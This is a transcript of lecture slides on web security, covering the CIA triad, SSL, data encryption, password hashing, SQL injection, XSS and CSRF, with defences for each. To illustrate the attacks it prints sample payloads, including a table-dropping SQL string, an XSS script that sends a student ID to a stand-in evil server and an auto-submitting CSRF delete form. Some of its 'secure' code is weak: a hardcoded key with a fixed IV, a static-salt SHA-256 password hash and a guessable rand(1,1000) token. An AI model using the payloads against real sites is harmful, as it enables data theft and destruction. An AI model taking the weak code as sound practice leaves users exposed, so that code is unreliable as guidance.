Transcript Security

What does “Security” encompass?
 One viewpoint: NIST FIPS 199
 3 key objectives:
 Confidentiality
 Integrity
 Availability
http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199final.pdf
Confidentiality
 “Preserving authorized restrictions on information
access and disclosure, including means for
protecting personal privacy and proprietary
information”
 In short: Keeping secrets secret
 This is the primary linkage between security and
data privacy laws and regulations such as HIPAA
 Example of a threat: packet sniffing
Integrity
 “Guarding against improper information
modification or destruction, and includes ensuring
information non-repudiation and authenticity”
 In short: Not letting data get trashed
 Example of a threat: impersonation in order to
achieve data modification
Availability
 “Ensuring timely and reliable access to and use of
information”
 In short: People can get their data
 How much would people complain if they couldn’t
get to certain information? That tells you whether
availability is important.
 Can be assessed using Business Impact Analysis (BIA)
 Example of a threat: denial of service attack
Confidentiality != Integrity != Availability
•
Reminder
–
–
–
•
Example: Stealing a copy of unencrypted file
–
•
Confidentiality: fail; integrity and availability: ok
Example: Appending false facts to a file
–
•
Confidentiality: Secrets stay secret
Integrity: Data don't get trashed
Availability: People can get their data
Integrity: fail; confidentiality and availability: ok
Example: Moving (hiding) somebody's file
–
Availability: fail; confidentiality and integrity: ok
Some key web security concerns
•
Logging of URLs
•
Impersonation
•
Autocomplete
•
Man-in-the-middle
•
Bots and denial-of-service
•
Theft of data
–
–
Encrypting data yourself
Hashing passwords
•
Injection attacks (later lecture)
•
Cross-site forgery (later lecture)
Logging of URLs
 ASSUME that all URLs are logged somewhere
 Probably on your webserver, maybe elsewhere
 This includes ALL GET parameters
 So NEVER EVER send ANY data as a GET parameter
if it needs to be kept confidential
 Passwords, credit card numbers, student ID
numbers, etc.
Impersonation
 This is where user X pretends to be user Y
 So X can see Y's data (confidentiality: fail)
 So X can delete Y's data (integrity+availability: fail)
 How to prevent?
 Just make everybody authenticate before they can
access any data that must be kept confidential or
whose integrity & availability must be protected
Autocomplete
 These days, most browsers will kindly try to save
users' data and auto-fill forms
 Includes passwords
 Potential for impersonation
 Threatens confidentiality+integrity+availability
 To disable…
<form autocomplete="off" … > …
<input type="text" autocomplete="off" … > …
Man-in-the-middle
•
The browser doesn't talk directly to the server
–
•
It talks to the operating system, which sends data on
wireless or a cable to a router, which forwards the
data to another network, etc.
And anywhere along the way, somebody could view
and log the data values as they go by
–
Including passwords (even if sent by POST)
•
Solution: Encrypt the data
•
To do this, you install an SSL server certificate
Overview of how to set up SSL
1.
Lease some PHP hosting (server) space
2.
Lease rights to a domain (also known as "registering a domain")

3.
E.g., buy "mydomain.com" for a year
Log into a server owned by the people from whom you leased the
domain name & indicate the IP address of your leased server

E.g., map "www.mydomain.com" to 69.25.142.5
4.
Lease an SSL certificate (file) that contains cyptographic keys for your
specified domain
5.
Log into your PHP server, put a copy of your certificate onto it, and
restart your server
 Anybody who connects to your server via https will have a totally (2-way)
encrypted connection…
voila, no more man-in-the-middle attacks
Bots and denial-of-service
•
A browser is just a program
•
Somebody could create another program that calls your
server & pretends to be a browser
–
–
This is called a "bot"
And the bot can be installed on lots of computers
•
•
Say, machines that a bad person has hacked ("botnet")
If the program hits your often enough, legit requests
won't get through
–
–
This is called "denial of service"
Availability threat (not confidentiality or integrity)
How to beat denial-of-service
 Still not a "solved problem"
 Partial solutions that reduce the threat:
 Replicate onto lots of servers
 Use a custom operating system (or web server or
router) that filters out suspicious traffic
 Redesign the app with a peer-to-peer architecture
rather than a client-server architecture
 I.e., it's not a web application any more
Theft of data
 Suppose
 Your web application has no obvious security
holes…
 But the people you're leasing a server from are
shady (or inept)…
 And somebody steals your database!!!
 Could be a huge threat to confidentiality,
integrity, availability
 E.g., if unencrypted passwords are in the
database, the thief can launch an impersonation
attack
 Worse: what if somebody steals credit cards?
Theft of data isn't just for databases
 Suppose
 Your web application has no obvious security
holes…
 But your users are absolutely clueless (they
don't even know what antivirus is)…
 And somebody hacks their hard drives!!!
 Could be a huge threat to confidentiality,
integrity, availability
 E.g., if unencrypted passwords are in cookies,
the thief can launch an impersonation attack
 Worse: storing credit cards in autocomplete or
cookies
Mitigating theft of data
 Simple solution
 Encrypt all data that needs to be kept confidential
 Before inserting into permanent storage
 Databases
 Files
 Cookies
 Etc.
Some example code
<?php
$secretInfo = '6011000000000004'; // credit card
$keyForEncryptingAndDecrypting = 'montague1300!';
$iv = '37492910'; // any 8 digits
$encryptionCipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');
mcrypt_generic_init($encryptionCipher, $keyForEncryptingAndDecrypting, $iv);
$asEncrypted = base64_encode(mcrypt_generic($encryptionCipher, $secretInfo));
mcrypt_generic_deinit($encryptionCipher);
mcrypt_generic_init($encryptionCipher, $keyForEncryptingAndDecrypting, $iv);
$afterDecryption = mdecrypt_generic($encryptionCipher, base64_decode($asEncrypted));
mcrypt_generic_deinit($encryptionCipher);
Now you need to keep your key safe
•
You also need to keep your database username and
password safe, incidentally
•
Most PHP hosts (servers) allow this:
–
Any lines of code that need to be kept secure can be
placed in a file stored "above" your web application
/store/them/here/config.inc
Instead of
/store/them/here/myweb_server_root/myfile.php
–
And then include the values when you need them
•
<?php include '../config.inc'; ?>
Incidentally, you don't actually need to
store passwords in the database
 An even more secure option is to store a random-
ish number computed based on the password
(called a "hash")
 When user sends a password:
 Hash the password
 Compare to the hashed password in the database
Example code: Hashed passwords
// when initializing database
$usr = 'ricky'; $pwd = 'mypassword';
$insertthis = base64_encode(hash('sha256',$pwd));
mysql_query("insert into users(usr,pwd) values('".$usr."','".$insertthis."')");
// when you receive a username & password later on (user is trying to log in)
$usr = $_REQUEST["usr"];
$pwd = $_REQUEST["pwd"];
$checkthis = base64_encode(hash('sha256',$pwd));
$rs2 = mysql_query("select usr from users where usr='"
. mysql_real_escape_string($usr)
. "' and pwd='"
Even more secure… hash password concatenated with
some random string
// when initializing database
$usr = 'ricky'; $pwd = 'mypassword';
$insertthis = base64_encode(hash('sha256',$pwd
. "blahblahblah102020"));
mysql_query("insert into users(usr,pwd) values('".$usr."','".$insertthis."')");
// when you receive a username & password later on (user is trying to log in)
$usr = $_REQUEST["usr"];
$pwd = $_REQUEST["pwd"];
$checkthis = base64_encode(hash('sha256',$pwd
. "blahblahblah102020"));
$rs2 = mysql_query("select usr from users where usr='"
. mysql_real_escape_string($usr)
Key points to remember
 Objectives: Keep secrets secret, don't let data get
trashed, make sure people can get data
 Things to remember:
 Never send confidential data via GET
 Use SSL to prevent man-in-the-middle attacks
 Replication is a partial solution to denial-of-service
 Encrypt sensitive data values before storing
 Except for passwords: hash those instead
Some key web security concerns
•
Logging of URLs
•
Impersonation
•
Autocomplete
•
Man-in-the-middle
•
Bots and denial-of-service
•
Theft of data
–
–
Encrypting data yourself
Hashing passwords
•
Injection attacks (this lecture)
•
Cross-site forgery (next lecture)
Covered in last
lecture
Injection attacks
 Injection: Inserting something into your code that
does not belong there
 Major threat to confidentiality, integrity, and
availability
 Probably the most common mistake in web apps is
leaving the door open to injection
Structure of an injection attack
 Receive data from outside your system
 User, another server, … anything you don’t control
 Your system stores the data
 Variable, session, database, file, … anywhere
 Your system uses the data
 Print on web page, insert into SQL, … anything,
without taking precautions against evil data
 Evil events transpire…
Example: SQL injection attack
DO NOT COPY-PASTE THIS CODE
mysql_query("update mytable set mycolumn = '" .
$_RESULT["param"] . "'")
Evil user sends param = "x'; drop table mytable;"
Your silly program executes…
update mytable set mycolumn = 'x'; drop table mytable;
Poof, no more table.
Preventing SQL injection attack
 Option #1: Validate all inputs, reject evil inputs
 Regexps work pretty well on numbers
 Option #2: Use mysql_real_escape
 Works pretty well for strings
 Option #3: Use prepared statements
 No need to concatenate
Example: HTML/JS injection attack
DO NOT COPY-PASTE THIS CODE
// $sid is current user's confidential student id
// let's make a system for sending tweets to students
$rs = mysql_query("select msg from tweets where sid=".$sid);
$nrows=mysql_numrows($rs);
echo "<h1>Tweets for you, student ".$sid."</h1>";
for ($i = 0; $i < $nrows; $i++) {
echo mysql_result($rs,$i,"msg") . "<br>";
}
But some evil person has sent this evil tweet: message equal to
<script>var sid = $("h1").text(); document.write("<img src='http://www.myevilserver.com/a.php?"+sid+"'>");</script>
What happens:
•
This script gets written into the list of tweets.
Example: HTML/JS injection attack
DO NOT COPY-PASTE THIS CODE
Or, suppose our evil person has sent this evil tweet: message equal to
<script src="http://www.myevilserver.com/warez.html"></script>
What happens:
This script gets written into the list of tweets.
The current user's browser runs this nasty little script DIRECTLY off
of the other server



Also known as "cross-site scripting attack" (XSS)
Can also be accomplished with an <iframe>
Continue attack in same manner as before…
But oh, the evils of "cross-site scripting"
can be bad in so many ways
 Potential consequences of cross-site scripting
 Stealing data from the page
 Confidentiality fail
 Submitting forms on the user's behalf
 E.g., by clicking buttons on the page: integrity fail
 Downloading code to the user's computer
 E.g., by taking advantage of unpatched security holes
in the user's browser
And once Dr. Evil has taken over the user's computer…
 Install a virus that reads everything on the user's
computer
 Including credit card numbers and passwords
 Then tells your user's computer to attack other
computers
 Making your user's computer into a bot
 And finally deletes everything on the machine
 Leaving a smoldering ruin
Summary of what happens when you
don't protect your users
1.
Evil person puts SCRIPT or IFRAME tags into data used
by your site (e.g., tweet database)
2.
Your site sends the data in HTML/JS to some other
unsuspecting user
3.
The user's browser executes the SCRIPT or IFRAME tags
4.
The SCRIPT or IFRAME tags make the browser execute
JS from some evil site
5.
The evil site's JS hacks the user's computer
6.
The user's computer is totally compromised
Preventing HTML/JS injection
(including XSS attacks)
•
The fix is very simple:
Do not write any special html characters to the browser
unless you know for absolutely certain that they are
safe
–
–
Use htmlspecialchars() when you need to generate
HTML (not JS) from questionable strings
htmlspecialchars($str) converts < to &lt;
(and has other effects on other characters)
Strategy for fighting injection attacks
•
This always works for all injection attacks of any sort
whatsoever (e.g., SQL, HTML, JS):
Clean all data before you use it
•
Example:
–
–
Clean with mysql_real_escape before using in SQL
Clean with htmlspecialchars before using in HTML
Alternate option for preventing injection
•
In addition, you might want to
Clean data just after arrival
•
Example:
–
Clean all data after reading it from database, from
another server, from users, from files, from
anywhere
Clean data just after arrival…
Not always easy
 When data arrives, you don't always know how it
will eventually be used
 So you don't know exactly how it needs to be
cleaned
 Are you trying to remove apostrophes ' because it's
going to be used in SQL?
 Or are you trying to remove open brackets <
because it's going to be used in HTML/JS?
Bottom line
 Always clean data before use
 Don't assume data have ever been cleaned before
 Clean data
 Before you use data for SQL statements
 Before you use data to generate HTML/JS
 Before you use data to call other servers
 ETC
Final little puzzler
DO NOT COPY-PASTE THIS CODE
•
What is the problem & how would you fix it?
$rs = mysql_query("select msg from tweets where
sid=".$sid);
$nrows=mysql_numrows($rs);
if ($nrows > 0) {
echo "<script>alert('The last tweet to you was ";
echo htmlspecialchars(mysql_result($rs,0,"msg"));
Final little puzzler
•
Hint: Sometimes you need a little more than just
the default htmlspecialchars() behavior.
•
Check the htmlspecialchars() documentation to
learn more about why.
http://php.net/manual/en/function.htmlspecialchars.p
hp
Some key web security concerns
•
Logging of URLs
•
Impersonation
•
Autocomplete
•
Man-in-the-middle
•
Bots and denial-of-service
•
Theft of data
–
–
Encrypting data yourself
Hashing passwords
•
Injection attacks (last lecture)
•
Cross-site forgery (current lecture)
Covered in
earlier lecture
Cross-site request forgery attack
 Cross-site request forgery (CSRF): Trick user's
browser into trashing your site
 Very complex but important attack
 Very hard to defend against
 I'd guess that nearly every site on the web is
susceptible to this attack, at some level
How CSRF works
Browser
Your server
User submits login form to your server
Server sends back session cookie;
browser is now logged in
User decides to visit another site
The other server sends back HTML or JS…
That causes the user's browser
to send bad commands to
your server
Some other
server
Key points
 User has to already be logged into your site
 For example, as a site administrator who is allowed
by your site to insert/delete DB data
 User has to access another site
 The other site has to have a way of telling the
browser to send commands to your site
"Send commands to your site"?
 Sure, the other server just has to send back…
<form id="badform" method="post"
action="http://yourserver.com/dbdelete.php">
<input type="text" name="id" value="100">
</form>
<script>$("#badform").get(0).submit();</script>
What happens then…
 The browser reads the FORM and SCRIPT
 It executes the JS, automatically submitting the
form
 The browser posts the data to your web page
 Your PHP probably checks that the user is logged in
 Yup… the session cookie took care of that
 And then your PHP acts on the command
 In this case, to delete some data
Even worse: Making the attack invisible
 Instead of outputting the form and JS directly,
instead output a 1 pixel x 1 pixel IFRAME
 And then output the form and the JS inside the
IFRAME
 The user will never notice
Even worse: Damaging lots of data
 Instead of outputting just one IFRAME,
output a bunch of IFRAMES, each containing
a form
 Then autosubmit all of the IFRAMES one
after another… trash the entire database
 Major integrity fail
 (In fact, the FORM and IFRAME tags even
have attributes that would make it possible
to do this by reusing one IFRAME)
Even worse: Combine with XSS
 Instead of outputting a FORM that submits a
relatively harmless data-deletion command, instead
tell the browser to send evil data
 E.g., SCRIPT tag as shown in the previous lecture
 And if your site doesn't protect against cross-site
scripting (again, see previous lecture), then other
users can be attacked
Preventing CSRF is a huge pain
 Reduces but does not eliminate the risk:
 Use very short sessions
 Always check the referer header
 Options for eliminating the risk:
 Require a custom http header
 Create a special token that must be present
Option #1: Use very short sessions
 There is a tradeoff:
 You can use long sessions: Increased usability
 Users don't get logged of automatically if they step
away for coffee
 You can use short sessions: Increased security
 Session cookies time out fast, so they have to be
stolen fast if they are going to be of any use
 Therefore, the users are only susceptible to CSRF for a
short amount of time
Option #2: Always check the referer
 Most (not all) versions of most browsers send an
http header that tells what page the user is looking
at when an http request is initiated
 HTTP_REFERER is like "Content-Type"… it is just
another header sent by the browser to the server
Option #2: Always check the referer
 So when the form is posted back to your site
$referer = $_SERVER['HTTP_REFERER'];
if ($referer !== the CORRECT value for your site)
refuse to do anything
 Referer should be a page on your site, NOT a page
on somebody else's site
Option #2: Always check the referer
 Why this theoretically should work…
 Operations initiated by your page will have a
REFERER header that matches your site
 Operations initiated by some other server's pages
will have a REFERER header that matches their site
 Not a very good defense against CSRF, sadly
 Browsers can be configured in insecure ways that
make this method unreliable
Option #3: Require a custom http header
•
You can send a custom header of your own!
•
In your JS:
$.ajax({url:"http://myserver.com/dbpage.php",
data:{a:1,b:2,c:3,etc:5},success:fnSuccess,
beforeSend: function(request) {
request.setRequestHeader("MYHEADER",
"itslegit");
}});
•
In your PHP:
if ($_SERVER["HTTP_MYHEADER"] != "itslegit")
refuse to do anything
Option #3: Require a custom http header
 Why this works…
 Operations initiated by your page will have that
special header present
 Operations initiated by some other server's pages
will not have that special header present
 This approach apparently works quite reliably… but
ALL your non-idempotent operations need to be
done via AJAX.
Option #4: Create a special token that
must be present

When you output a form, generate a random number and put a copy
in the session
<?php $_SESSION["x"] = rand(1,1000) ?>
<form …>…
<input type="hidden" name="x"
value="<?= $_SESSION["x"]?>">…
</form>

And when the form is posted, check that the right value is sent back
if ($_REQUEST["x"] !== $_SESSION["x"])
refuse to do anything
Option #4: Create a special token that
must be present
 Why this works…
 Operations initiated by your site will have that
special token
 Operations initiated by some other server's pages
will not have that special token
 (It's random, so it's hard to guess)
 This approach also works reliably, but ALL your non-
idempotent operations need to be protected like
this.
Summary
•
Cross-site request forgery (CSRF) is dangerous
–
–
•
Two solutions are not totally reliable
–
–
•
Can trick users' browsers into trashing your data
Can be combined with cross-site scripting
Short sessions
Checking the referer header
Two solutions are a pain to implement
–
–
Perform all non-idempotent operations with AJAX, set
and set custom header
Perform all non-idempotent operations with a form
containing a secret random token that you check